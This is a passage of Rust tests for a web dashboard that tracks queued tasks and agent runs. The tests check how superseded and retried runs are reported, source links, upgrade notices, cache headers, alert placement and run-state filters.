14963 body.contains("upgradeFailNote"),
14964 "the failure has to reach the loop's own note instead"
14965 );
14966 assert_eq!(
14970 body.matches("upgradeFailNote].filter(Boolean).join")
14971 .count(),
14972 2,
14973 "both loop-why writers (quiet and control) must fold the note in"
14974 );
14975 }
14976
14977 #[test]
14978 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14979 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14982 assert!(APP_JS.contains("function upgradeOverdue("));
14983 }
14984
14985 #[test]
14986 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14987 assert!(
14988 APP_JS.contains("Updated to ${upgradeInfo.to"),
14989 "the operator who asked for the restart wants to know it worked"
14990 );
14991 }
14992
14993 #[test]
14994 fn an_error_is_visible_from_where_the_button_is() {
14995 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15000 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15001 assert!(
15002 alert.contains("position: fixed"),
15003 "an error about the thing under your thumb has to be visible from \
15004 where your thumb is: {alert}"
15005 );
15006 assert!(
15007 alert.contains("z-index: 25"),
15008 "above the dock (20) and the run-actions FAB (15), so neither \
15009 buries it: {alert}"
15010 );
15011 assert!(
15012 alert.contains("var(--tap)"),
15013 "and clear of the dock and the home indicator: {alert}"
15014 );
15015 assert!(
15018 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15019 "the FAB's column stays free: {alert}"
15020 );
15021 }
15022
15023 #[tokio::test]
15024 async fn an_older_attempt_says_what_replaced_it() {
15025 let fx = Fixture::start().await;
15026 let q = fx.queue();
15027 let runs = fx.runs();
15028 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15029 write_run(&runs, first, RunStatus::Stalled);
15030 write_run(&runs, second, RunStatus::Blocked);
15031
15032 let mut t = Task::new(
15033 "one task".to_owned(),
15034 "do it".to_owned(),
15035 PathBuf::from("/repo"),
15036 Source::Human,
15037 );
15038 t.runs = vec![first.to_owned(), second.to_owned()];
15039 q.put(&mut t).expect("put");
15040
15041 let rows = fx.get("/api/runs").await.json();
15045 let by = |short: &str| -> Value {
15046 rows.as_array()
15047 .unwrap()
15048 .iter()
15049 .find(|r| r["short"] == short)
15050 .cloned()
15051 .unwrap_or(Value::Null)
15052 };
15053 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15054 assert!(
15055 by("bbbb")["superseded_by"].is_null(),
15056 "the latest attempt is not superseded by anything"
15057 );
15058 assert!(APP_JS.contains("run.superseded_by"));
15060 assert!(APP_JS.contains("Superseded by"));
15061 }
15062
15063 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15064 let mut t = Task::new(
15065 "one task".to_owned(),
15066 "do it".to_owned(),
15067 PathBuf::from("/repo"),
15068 Source::Human,
15069 );
15070 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15071 t.status = status;
15072 t
15073 }
15074
15075 #[test]
15076 fn source_link_picks_the_page_that_filed_the_task() {
15077 let agent = |node: &str| Source::Agent {
15078 run: "20260904-014455-ab12".to_owned(),
15079 node: node.to_owned(),
15080 };
15081 let chat = source_link(&agent("chat")).expect("chat link");
15082 assert_eq!(chat.kind, "chat");
15083 assert_eq!(chat.id, "20260904-014455-ab12");
15084 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15085 let run = source_link(&agent("implement")).expect("run link");
15086 assert_eq!(
15087 (run.kind, run.href.as_str()),
15088 ("run", "#/runs/20260904-014455-ab12")
15089 );
15090 assert_eq!(source_link(&Source::Human), None);
15091 assert_eq!(
15092 source_link(&Source::Issue {
15093 number: 3,
15094 repo: "o/r".to_owned()
15095 }),
15096 None
15097 );
15098 let odd = source_link(&Source::Agent {
15099 run: "a b/c".to_owned(),
15100 node: "chat".to_owned(),
15101 })
15102 .expect("link");
15103 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15104 }
15105
15106 #[test]
15107 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15108 assert!(
15109 !APP_JS.contains("src.node === \"chat\""),
15110 "inline href rule is back"
15111 );
15112 assert!(
15113 APP_JS.matches("sourceLinkOf(").count() >= 4,
15114 "helper must serve every page"
15115 );
15116 assert!(
15117 APP_JS.matches("openChatLink(").count() >= 3,
15118 "the run page still needs its explicit chat link"
15119 );
15120 assert!(
15121 !APP_JS.contains("const openChat = el("),
15122 "the Queue card duplicates its source label link again"
15123 );
15124 assert!(
15125 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15126 "the task page must link a chat source label too"
15127 );
15128 }
15129
15130 #[test]
15131 fn task_ref_carries_the_source_link_for_a_chat_task() {
15132 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15133 t.source = Source::Agent {
15134 run: "20260904-014455-ab12".to_owned(),
15135 node: "chat".to_owned(),
15136 };
15137 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15138 let v = serde_json::to_value(&out).expect("json");
15139 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15140 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15141 assert_eq!(v["source_label"], t.source.label());
15142
15143 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15144 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15145 .expect("json");
15146 assert!(v["source_link"].is_null(), "{v}");
15147 }
15148
15149 #[test]
15150 fn task_view_serializes_source_link() {
15151 let mut t = Task::new(
15152 "t".to_owned(),
15153 "t".to_owned(),
15154 PathBuf::from("/repo"),
15155 Source::Agent {
15156 run: "20260901-000000-aaaa".to_owned(),
15157 node: "implement".to_owned(),
15158 },
15159 );
15160 t.runs.clear();
15161 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15162 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15163 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15164 }
15165
15166 #[tokio::test]
15167 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15168 let fx = Fixture::start().await;
15169 let runs = fx.runs();
15170 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15171 write_run(&runs, old, RunStatus::Blocked);
15172 write_run(&runs, new, RunStatus::Merged);
15173 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15174 fx.queue().put(&mut t).expect("put");
15175
15176 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15177 let task = &view["task"];
15178 assert_eq!(task["status"], "done");
15179 assert_eq!(task["is_latest"], false);
15180 assert_eq!(task["latest"]["short"], "bbbb");
15181 assert_eq!(task["finished_by"]["id"], new);
15182 assert_eq!(task["finished_by"]["outcome"], "merged");
15183 assert_eq!(task["closed_by_hand"], false);
15184 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15185 assert!(APP_JS.contains("finished_by"));
15186 assert!(APP_JS.contains("superseded by run"));
15187 }
15188
15189 #[tokio::test]
15190 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15191 let fx = Fixture::start().await;
15192 let runs = fx.runs();
15193 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15194 write_run(&runs, old, RunStatus::Stalled);
15195 write_run(&runs, new, RunStatus::Blocked);
15196 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15197 fx.queue().put(&mut t).expect("put");
15198
15199 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15200 assert_eq!(task["status"], "held");
15201 assert_eq!(task["is_latest"], true);
15202 assert!(task["latest"].is_null());
15203 assert!(task["finished_by"].is_null());
15204 assert_eq!(task["closed_by_hand"], false);
15205 }
15206
15207 #[tokio::test]
15208 async fn a_direct_run_has_no_task_outcome() {
15209 let fx = Fixture::start().await;
15210 let runs = fx.runs();
15211 let id = "20260901-000000-aaaa";
15212 write_run(&runs, id, RunStatus::Blocked);
15213 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15214 assert!(view["task"].is_null());
15215 }
15216
15217 #[test]
15218 fn task_outcome_does_not_guess_a_finishing_run() {
15219 let a = "20260901-000000-aaaa";
15220 let b = "20260901-000000-bbbb";
15221 let c = "20260901-000000-cccc";
15222 let dir = tempfile::tempdir().expect("tempdir");
15223 write_run(dir.path(), a, RunStatus::Blocked);
15224 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15225 let read = |id: &str| read_run(dir.path(), id).ok();
15227 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15230 let out = task_outcome(&t, a, 3, read);
15231 assert!(out.finished_by.is_none());
15232 assert!(out.closed_by_hand);
15233 let latest = out.latest.expect("latest");
15234 assert_eq!(latest.id, c);
15235 assert_eq!(latest.status, None);
15236 assert_eq!(latest.outcome, "record unreadable");
15237
15238 write_run(dir.path(), c, RunStatus::Ready);
15240 let t = outcome_task(&[a, c], TaskStatus::Done);
15241 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15242 assert_eq!(out.finished_by.expect("finisher").id, c);
15243 assert!(!out.closed_by_hand);
15244
15245 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15247 assert!(task_outcome(&t, a, 3, read).is_latest);
15248 }
15249
15250 #[tokio::test]
15251 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15252 let fx = Fixture::start().await;
15257 let q = fx.queue();
15258 let runs = fx.runs();
15259 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15260 write_run(&runs, first, RunStatus::Blocked);
15261 write_run(&runs, second, RunStatus::Merged);
15262
15263 let mut t = Task::new(
15264 "one task".to_owned(),
15265 "do it".to_owned(),
15266 PathBuf::from("/repo"),
15267 Source::Human,
15268 );
15269 t.runs = vec![first.to_owned(), second.to_owned()];
15270 q.put(&mut t).expect("put");
15271
15272 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15273 assert_eq!(earlier["superseded_by"], "dddd");
15274 assert_eq!(earlier["latest_attempt"]["id"], second);
15275 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15276 assert_eq!(
15277 earlier["latest_attempt"]["resolved"], true,
15278 "the run that replaced it landed, so this one reads as settled"
15279 );
15280
15281 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15282 assert!(
15283 later["superseded_by"].is_null(),
15284 "the latest attempt is not superseded by anything"
15285 );
15286 assert!(
15287 later["latest_attempt"].is_null(),
15288 "the latest attempt has no later attempt of its own"
15289 );
15290
15291 assert!(APP_JS.contains("run.latest_attempt"));
15298 assert!(APP_JS.contains("data-superseded"));
15299 assert!(APP_JS.contains("#/runs/${latest.id}"));
15300 }
15301
15302 #[tokio::test]
15303 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15304 let fx = Fixture::start().await;
15310 let q = fx.queue();
15311 let runs = fx.runs();
15312 let (a, b, c) = (
15313 "20260901-000000-aaaa",
15314 "20260901-000000-bbbb",
15315 "20260901-000000-cccc",
15316 );
15317 write_run(&runs, a, RunStatus::Blocked);
15318 write_run(&runs, b, RunStatus::Blocked);
15319 write_run(&runs, c, RunStatus::Merged);
15320
15321 let mut t = Task::new(
15322 "retried twice".to_owned(),
15323 "do it".to_owned(),
15324 PathBuf::from("/repo"),
15325 Source::Human,
15326 );
15327 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15328 q.put(&mut t).expect("put");
15329
15330 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15331 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15332 assert_eq!(
15333 view["latest_attempt"]["id"], c,
15334 "the chain's current head, not the intermediate Blocked retry"
15335 );
15336 assert_eq!(view["latest_attempt"]["resolved"], true);
15337
15338 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15339 assert_eq!(mid["latest_attempt"]["id"], c);
15340 assert_eq!(mid["latest_attempt"]["resolved"], true);
15341 }
15342
15343 #[tokio::test]
15344 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15345 let fx = Fixture::start().await;
15346 let q = fx.queue();
15347 let runs = fx.runs();
15348
15349 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15352 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15353 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15354 let mut t1 = Task::new(
15355 "still stuck".to_owned(),
15356 "do it".to_owned(),
15357 PathBuf::from("/repo"),
15358 Source::Human,
15359 );
15360 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15361 q.put(&mut t1).expect("put");
15362 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15363 assert_eq!(view1["latest_attempt"]["resolved"], false);
15364 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15365 assert_eq!(view1["latest_attempt"]["done"], true);
15366
15367 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15369 write_run(&runs, run_a, RunStatus::Blocked);
15370 write_run(&runs, run_b, RunStatus::Implementing);
15371 let mut t3 = Task::new(
15372 "retrying".to_owned(),
15373 "do it".to_owned(),
15374 PathBuf::from("/repo"),
15375 Source::Human,
15376 );
15377 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15378 q.put(&mut t3).expect("put");
15379 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15380 assert_eq!(view3["latest_attempt"]["id"], run_b);
15381 assert_eq!(view3["latest_attempt"]["resolved"], false);
15382 assert_eq!(view3["latest_attempt"]["done"], false);
15383
15384 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15389 write_run(&runs, noop_a, RunStatus::Blocked);
15390 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15391 let mut t2 = Task::new(
15392 "claims done".to_owned(),
15393 "do it".to_owned(),
15394 PathBuf::from("/repo"),
15395 Source::Human,
15396 );
15397 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15398 q.put(&mut t2).expect("put");
15399 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15400 assert_eq!(
15401 view2["latest_attempt"]["resolved"], false,
15402 "an unverified no-op claim must not read as a confirmed finish"
15403 );
15404
15405 assert!(APP_JS.contains("latest.resolved"));
15408 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15411 assert!(APP_JS.contains("Latest attempt: "));
15412 assert!(APP_JS.contains("in flight"));
15413 assert!(APP_JS.contains("not resolved"));
15414 }
15415
15416 #[tokio::test]
15417 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15418 let fx = Fixture::start().await;
15419 let js = fx.get("/app.js").await;
15425 assert_eq!(js.status, 200);
15426 let tag = js
15427 .header("etag")
15428 .expect("an etag to revalidate against")
15429 .to_owned();
15430 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15431 assert_eq!(
15432 js.header("cache-control"),
15433 Some("no-cache, must-revalidate"),
15434 "the phone has to ask every time"
15435 );
15436
15437 let again = fx
15440 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15441 .await;
15442 assert_eq!(
15443 again.status, 304,
15444 "a deck it already has costs one round trip"
15445 );
15446 assert!(again.body.is_empty(), "304 carries no body");
15447
15448 let weak = fx
15451 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15452 .await;
15453 assert_eq!(weak.status, 304);
15454 let stale = fx
15455 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15456 .await;
15457 assert_eq!(stale.status, 200, "an older build must be replaced");
15458 assert!(stale.body.contains("renderRunActions"));
15459 }
15460
15461 #[test]
15462 fn the_task_detail_has_an_actions_fab_and_sheet() {
15463 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15464 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15465 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15466 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15468 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15469 assert!(APP_JS.contains("renderTaskActions(task);"));
15471 assert!(APP_JS.contains("renderTaskActions(null);"));
15472 let sheet = APP_JS
15474 .find("function renderTaskActions")
15475 .expect("sheet renderer");
15476 let body = &APP_JS[sheet..sheet + 3000];
15477 assert!(body.contains("changePriority("));
15478 assert!(body.contains("openTaskEdit(task)"));
15479 assert!(body.contains("renderTaskHoldBox(host"));
15480 assert!(body.contains("renderTaskDoneBox(host"));
15481 assert!(body.contains("renderTaskDeleteBox(host"));
15482 assert!(APP_JS.contains("API.priority(id)"));
15483 assert!(APP_JS.contains("API.deleteTask(id)"));
15484 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15486 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15488 }
15489
15490 #[test]
15491 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15492 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15493 let actions = INDEX_HTML
15494 .find("id=\"run-actions-box\"")
15495 .expect("actions box");
15496 assert!(task < actions, "the task entry comes first in the sheet");
15497 assert!(APP_JS.contains("renderRunTaskEntry"));
15498 assert!(APP_JS.contains("\"Open task \""));
15499 assert!(APP_JS.contains("started directly, no task"));
15501 assert!(APP_JS.contains("sheet-task-link"));
15502 assert!(APP_JS.contains("task-chip-link"));
15503 }
15504
15505 #[test]
15506 fn the_deck_never_sends_the_operator_to_a_terminal() {
15507 assert!(
15510 !APP_JS.contains("Run `magi fold` first"),
15511 "the deck must offer the fold, not prescribe a shell command"
15512 );
15513 assert!(APP_JS.contains("foldRun:"));
15514 assert!(APP_JS.contains("resumeRun:"));
15515 assert!(APP_JS.contains("renderRunActions"));
15516
15517 assert!(APP_JS.contains("armedFold"));
15519 assert!(APP_JS.contains("Yes, fold worktrees"));
15520
15521 assert!(APP_JS.contains("can no longer be resumed"));
15524 }
15525
15526 #[test]
15527 fn a_finished_run_explains_itself_with_its_own_last_line() {
15528 assert!(
15534 !APP_JS.contains("collapsed on agent quota"),
15535 "a stall must not be explained by a cause the deck did not check"
15536 );
15537 assert!(
15538 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15539 "and a block must not offer a guess with an `or` in it"
15540 );
15541
15542 assert!(
15546 APP_JS.contains("setText(r.event, run.event || \"\")"),
15547 "the run's last line is rendered unconditionally"
15548 );
15549 assert!(
15550 !APP_JS.contains("moving && run.event"),
15551 "and never gated on the run still moving"
15552 );
15553
15554 assert!(APP_JS.contains("lost to quota"));
15556 }
15557
15558 #[test]
15580 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15581 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15582 let shapes_body_start =
15583 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15584 let shapes_close = APP_JS[shapes_body_start..]
15585 .find("].map(")
15586 .expect("the shape list is closed by its done-computing .map(...)")
15587 + shapes_body_start;
15588 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15589
15590 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15591 for entry in shapes_src.split('{').skip(1) {
15592 let waiting = entry.contains("waiting: true");
15593 let dead = entry.contains("live: \"dead\"");
15594 let status_at =
15595 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15596 let status_end = entry[status_at..]
15597 .find('"')
15598 .expect("the status string is closed")
15599 + status_at;
15600 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15601 }
15602 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15603
15604 let done_rule_marker = "done: !";
15608 let done_rule_at = APP_JS[shapes_close..]
15609 .find(done_rule_marker)
15610 .expect("the done rule follows the shape list")
15611 + shapes_close
15612 + done_rule_marker.len();
15613 let includes_at = APP_JS[done_rule_at..]
15614 .find(".includes(shape.status)")
15615 .expect("the done rule ends in .includes(shape.status)")
15616 + done_rule_at;
15617 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15618 .trim()
15619 .trim_start_matches('[')
15620 .trim_end_matches(']')
15621 .split(',')
15622 .map(|s| s.trim().trim_matches('"'))
15623 .filter(|s| !s.is_empty())
15624 .collect();
15625
15626 let shapes: Vec<(bool, String, bool, bool)> = shapes
15627 .into_iter()
15628 .map(|(waiting, status, dead)| {
15629 let done = !not_done.contains(&status.as_str());
15630 (waiting, status, dead, done)
15631 })
15632 .collect();
15633
15634 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15638 if waiting {
15639 return "waiting";
15640 }
15641 if dead
15642 && !matches!(
15643 status,
15644 "merged"
15645 | "ready"
15646 | "stalled"
15647 | "blocked"
15648 | "failed"
15649 | "verified_noop"
15650 | "superseded"
15651 | "already_in_base"
15652 )
15653 {
15654 return "stale";
15655 }
15656 match status {
15657 "merged" | "ready" => "landed",
15658 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15659 | "already_in_base" => "ended",
15660 _ => "flight",
15661 }
15662 }
15663
15664 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15667 match filter_key {
15668 "active" => !done,
15669 "flight" => !done && !waiting && !dead,
15670 "stale" => !done && !waiting && dead,
15671 "waiting" => waiting,
15672 "done" => done,
15673 "all" => true,
15674 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15675 }
15676 }
15677
15678 let compatible = |section: &str, filter_key: &str| {
15679 shapes.iter().any(|(waiting, status, dead, done)| {
15680 run_section(*waiting, status, *dead) == section
15681 && filter_matches(filter_key, *waiting, *dead, *done)
15682 })
15683 };
15684
15685 let expected = [
15690 ("waiting", [true, false, false, true, true, true]),
15691 ("stale", [true, false, true, false, false, true]),
15692 ("flight", [true, true, false, false, false, true]),
15693 ("landed", [false, false, false, false, true, true]),
15694 ("ended", [false, false, false, false, true, true]),
15695 ];
15696 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15697
15698 for (section, wants) in expected {
15699 for (filter_key, want) in filter_keys.iter().zip(wants) {
15700 assert_eq!(
15701 compatible(section, filter_key),
15702 want,
15703 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15704 );
15705 }
15706 }
15707
15708 assert!(
15711 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15712 );
15713 assert!(APP_JS.contains(
15714 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15715 ));
15716 assert!(APP_JS.contains(
15717 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15718 ));
15719 }
15720
15721 #[tokio::test]
15722 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15723 let dir = tempfile::tempdir().expect("tempdir");
15727 let explicit = dir.path().join("not-a-checkout");
15728 std::fs::create_dir_all(&explicit).expect("create dir");
15729 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15730
15731 let missing = dir.path().join("does-not-exist-at-all");
15732 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15733 }
15734
15735 #[test]
15736 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15737 assert!(APP_JS.contains("function statsDonutArcs"));
15738 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15739 assert!(APP_JS.contains("function statusInBucket"));
15741 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15742 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15743 let buckets = [
15744 "merged",
15745 "ready",
15746 "in_progress",
15747 "blocked",
15748 "failed",
15749 "verified_noop",
15750 "superseded",
15751 "stalled",
15752 ];
15753 for key in buckets {
15754 let var = format!("--verdict-{key}:");
15755 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15757 assert!(
15758 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15759 "{key}"
15760 );
15761 }
15762 }
15763}